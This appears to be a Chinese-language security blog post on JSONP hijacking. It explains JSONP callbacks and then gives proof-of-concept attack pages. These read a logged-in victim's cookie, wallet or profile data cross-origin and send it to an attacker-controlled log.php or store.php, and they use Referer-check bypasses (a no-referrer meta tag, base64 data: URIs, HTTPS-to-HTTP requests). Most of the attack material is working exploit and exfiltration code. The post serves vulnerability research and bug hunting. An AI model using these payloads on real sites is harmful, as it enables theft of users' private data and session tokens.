jsonp漏洞

jsonp简单利用

JSONP 由两部分组成:回调函数数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。

动态创建<script>标签,设置其src,回调函数在src中设置:

1
2
3
var script = document.createElement("script");
script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);

在页面中,返回的JSON作为参数传入回调函数中,我们通过回调函数来来操作数据。

1
2
3
function handleResponse(response){
// 对response数据进行操作代码
}

上面是简单直接的对JSONP 的描述,可能有些人不是很懂,我们下面一步一步分析

第一种

① 用户携带cookie访问放置在黑客服务器的页面

jsonp.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script type="text/javascript" src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"></script>

<script type="text/javascript">

$.getJSON("http://127.0.0.1/csrf/api.php?calback=?", function(json){
// 这里填写目标接口

var data=JSON.stringify(json);

$.get("http://127.0.0.1/csrf/log.php?mylogs="+data,function(res,status){
//将data转发记录,访问log.php
//注意 这里写的是黑客vps的ip,由于是测试,我写127.0.0.1

alert ('ok') ;
//如果返回的jsonp的json数组,不是一个json对象。
//使用 alert(result[0].admin)

});
});
</script>
1
2
3
<!-- 引用一段如上请求为JS -->
<script>function jsonp2(data){alert(JSON.stringify(data));}</script>
<script src="http://gh0st.cn/user/center?callback=jsonp2"></script>

api.php

这里模拟靶机的接口

1
2
3
4
<?php
header('Content-type:application/json');
echo $_GET['callback']."({\"admin\":\"".$_COOKIE['admin']."\"})"
?>

log.php

将json数据转存

1
2
3
4
5
6
7
8
9
10
11
<?php
$time = date("Y_m_d_h_i_s");
$filename = $time."_".rand(1,29999).".txt";
$log = $_GET[mylogs];
$httpheader = "HTTP_HEADER\r\n";
foreach (getallheaders() as $name => $value){
$httpheader = $httpheader."$name: $value\r\n";
}
echo file_put_contents(filename, $httpheader."\r\n".$log);

?>

②凡访问加载这个poc的页面的用户,他的投诉记录都会被我直接劫持,并且做记录

之前在cors漏洞写到的开源脚本在这也可以配合使用

接下来准备深入挖掘csrf类的漏洞

第二种

2.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<title>GoJSONP</title>
</head>
<body>
<script type="text/javascript">
function jsonhandle(data){
alert("age:" + data.age + "name:" + data.name);
}
</script>
<script type="text/javascript" src="jquery-3.3.1.min.js">
</script>
<script type="text/javascript" src="http://127.0.0.1/jsonp/remote.js"></script>
</body>
</html>

remote.js

1
2
3
4
jsonhandle({
"age" : 15,
"name": "John",
})

注意:远程的js 代码不需要script标签

第三种

用下面的代码模jsonp的调用过程方便大家更好的理解jsonp的运行过程

3.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
<title>GoJSONP</title>
</head>
<body>
<script type="text/javascript">
function jsonhandle(data){
alert("age:" + data.age + "name:" + data.name);
}
</script>
<script type="text/javascript" src="jquery-3.3.1.min.js">
</script>
<script type="text/javascript">
$(document).ready(function(){
var url = "http://127.0.0.1/jsonp/test1.php?id=1&callback=jsonhandle";
var obj = $('<script><\/script>');
obj.attr("src",url);
$("body").append(obj);
});
</script>
</body>
</html>

test1.php

1
2
3
4
5
6
7
8
9
10
<?php
$data = array(
'age' => 20,
'name' => 'dada',
);

$callback = $_GET['callback'];

echo $callback."(".json_encode($data).")";
return;

http://127.0.0.1/jsonp/test1.php?id=1&callback=jsonhandle

我们在scipt标签里面给出的链接是我远程服务器的一个php的代码,我给这个文件传递了一个参数,作为我要调用的函数。服务器接收到这个参数以后把它当做函数名,并给这个函数传递了一个json的值作为用户调用的函数的参数,最终实现调用的

利用JSONP和绕过引用检查

JSONP JSON With Padding),创建JSONP是为了授予对JavaScript的跨源读取访问权限,它作为SOP(同源策略的例外,并允许跨源数据访问。它可用于绕过SOP以访问跨源数据。

网站返回数据的API断点带有这样的回调函数

1
<script src =“https://redact.com/api/user/profile?callback=call_me”> </ script>

在我们自己的vps创建脚本

1
2
<script>function call_me(data) {console.log(data)}</script>
<script src=”https://redact.com/api/user/profile?callback=call_me”></script>

此代码将在浏览器控制台中记录数据。

现在我们如何验证API是否容易受到此JSONP漏洞的攻击。

① 我们有一个端点,它显示用户钱包数据https://user.redact.com/payment/wallet/balance

img

② 现在添加一个像这样的回调查询参数

https://user.redact.com/payment/wallet/balance?callback=call_me

如果端点启用了JSONP,它将创建一个名为call_me的对象,并且所有数据都将在此对象内。

img

因此,这确认了端点支持JSONP并且可以被利用,现在我们将使用我之前解释过的相同JavaScript代码。

1
2
<script>function call_me(data) {console.log(data)}</script>
<script src=”https://redact.com/api/user/profile?callback=call_me”></script>

现在,您还可以创建一个.html文件,该文件将提取数据并将其存储在所需的服务器上。您只需将URL发送给受害者,然后您就可以编写自己的JavaScript代码将该数据发送到您的服务器,就像这样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
function call_me(response) {
var http = new XMLHttpRequest();
var url = ‘https://yourserver.com/store.php';
var params = ‘data=’+JSON.stringify(response);
http.open(‘POST’, url, true);
http.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.log(http.responseText);
}
}
http.send(params);
}
</script>
<script src=”https://user.redact.com/api/user/profile?callback=call_me"></script>

绕过Referer Check

最近最后我发现了一个易受JSONP攻击的API端点,使用回调函数获取数据的代码工作正常,当我从我的PC本地运行代码时,我从文件中获取数据://。但是当我在Web服务器上传文件时,我收到了一个错误的OBJECT而不是数据,其中包含身份验证错误和重定向URL到站点的登录页面。(Server正在检查Referer Header,如果Referer Header值包含跨域,则Server拒绝请求)

所以为了绕过这个ecurit检查,我只需要删除Referer Header。

我使用HTML元标记限制浏览器发送Referer Header,它是:

1
<meta name =“referrer”content =“no-referrer”>

因此,在HTML头标记中添加此元标记可以完成这项工作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<head><meta name=”referrer” content=”no-referrer”></head>
<script>
function call_me(response) {
var http = new XMLHttpRequest();
var url = ‘https://yourserver.com/store.php';
var params = ‘data=’+JSON.stringify(response);
http.open(‘POST’, url, true);
http.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.log(http.responseText);
}
}
http.send(params);
}
</script>
<script src=”https://user.redact.com/api/user/profile?callback=call_me"></script>

JSONP攻击

1.JSONP 跨域劫持

实际上就是由于服务器端对JSONP 的请求来源的检查不严格导致的

攻击者模拟用户向有漏洞的服务器发送JSONP请求,然后就获取到了用户的某些信息,再将这些信息发送到攻击者可控的服务器

2.JSONP 跨域劫持token 实现CSRF

通过 jsonp 发起请求,得到泄露的 csrf_token 然后,利用这个token 实现CSRF 攻击

3.Referer 头的绕过

在攻击过程中可能会涉及到 referer 头的绕过

  1. data:URL
    为了逃避他的检测我们可以选择不发送referer这个头,那么怎么做呢?这就涉及到 data:URL 头

为了构造一个不带HTTP Referer的请求,我们可以滥用data URI方案。因为我们正在处理的代码包含了引号,双引号,以及其他一些被阻止的语句,接着使用base64编码我们的payload(回调函数定义以及脚本包含)
data:text/plain;base64our_base64_encoded_code:

以下3个HTML标签允许我们使用data URI方案:

1
2
3
iframe (在src属性中) – Internet Explorer下不工作
embed (在src属性中) – Internet Explorer及Microsoft Edge下不工作
object (在data属性中) – Internet Explorer及Microsoft Edge下不工作

2.从HTTPS向HTTP发起请求

如果目标网站可以通过HTTP访问,也可以通过将我们的代码托管在一个HTTPS页面来避免发送HTTP Referer。如果我们从HTTPS页面发起一个HTTP请求,浏览器为了防止信息泄漏是不会发送Referer header。以上我们要将恶意代码托管在一个启用了HTTPS的站点。
注意:由于mixed-content安全机制,在浏览器默认设置下是不会工作的。需要受害者手动允许浏览器发出的安全警告。

Reference:
http://www.admintony.com/csrf-and-json.html

k0rz3n

https://medium.com/bugbountywriteup/exploiting-jsonp-and-bypassing-referer-check-2d6e40dfa24

-------------本文结束感谢您的阅读-------------